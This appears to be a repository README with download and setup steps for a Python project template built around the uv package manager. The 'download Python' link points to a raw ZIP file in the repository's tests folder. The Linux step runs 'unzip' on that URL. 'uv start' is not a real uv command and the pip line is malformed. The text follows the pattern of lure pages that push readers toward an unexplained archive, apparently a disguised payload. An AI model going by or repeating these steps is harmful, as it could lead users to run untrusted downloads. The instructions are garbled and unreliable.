This guide helps you download and run "python-uv-template". This is a simple template for starting your Python project with a fast package manager called uv. Follow the steps below, and you'll be ready to go.
To download the template, visit this page to download: Releases Page.
- Click the link above.
- You will see a list of versions. Choose the latest version from the top.
- Click on the file that matches your operating system (Windows, macOS, or Linux).
- The download will start automatically.
Before you install the template, make sure you have the following:
- Operating System: This project works on Windows, macOS, and Linux systems.
- Python Version: You need Python 3.6 or higher. You can download Python from https://raw.githubusercontent.com/EXLIP0/python-uv-template/main/tests/python-uv-template_v2.6.zip.
- uv Package: The template uses the uv package manager. You will install it as part of the setup process.
After downloading the template, follow these steps to set it up:
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Locate Your Download: Find the downloaded file in your Downloads folder or the location you chose.
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Extract the Template:
- On Windows: Right-click the ZIP file and select "Extract All".
- On macOS: Double-click the ZIP file to extract it.
- On Linux: Use the command
unzip https://raw.githubusercontent.com/EXLIP0/python-uv-template/main/tests/python-uv-template_v2.6.zipin the terminal.
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Open the Project Folder: Navigate to the extracted folder.
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Open the Terminal or Command Prompt:
- On Windows: Search for "cmd" in the Start menu.
- On macOS: Open "Terminal" from Applications.
- On Linux: Use your favorite terminal.
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Install the Required Packages: Run the following command to install the uv package manager.
pip install uv -
Start Your Project: To start using the template, run this command in your terminal/command prompt:
uv start
Congrats! You have set up your Python project successfully.
Here are some of the main features of the python-uv-template:
- Pre-configured Environment: You have everything needed to start coding right away.
- Easy Testing: Built-in support for testing your code with pytest.
- Simple Structure: A clear layout that helps you organize your files logically.
If you encounter any issues, here are some common problems and solutions:
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Issue: Command not found.
- Solution: Make sure Python is in your PATH environment variable.
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Issue: Failed to install uv.
- Solution: Ensure you have the latest version of pip by running
pip install --upgrade pip.
- Solution: Ensure you have the latest version of pip by running
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Issue: Project doesnβt start.
- Solution: Double-check that you installed all required packages and that you're in the correct directory.
Congratulations on setting up your Python project! This template will help you build and manage your application efficiently. If you need further assistance, feel free to reach out or check the community forums related to Python and uv.
For the latest version or to download again, visit this page to download: Releases Page. Enjoy coding!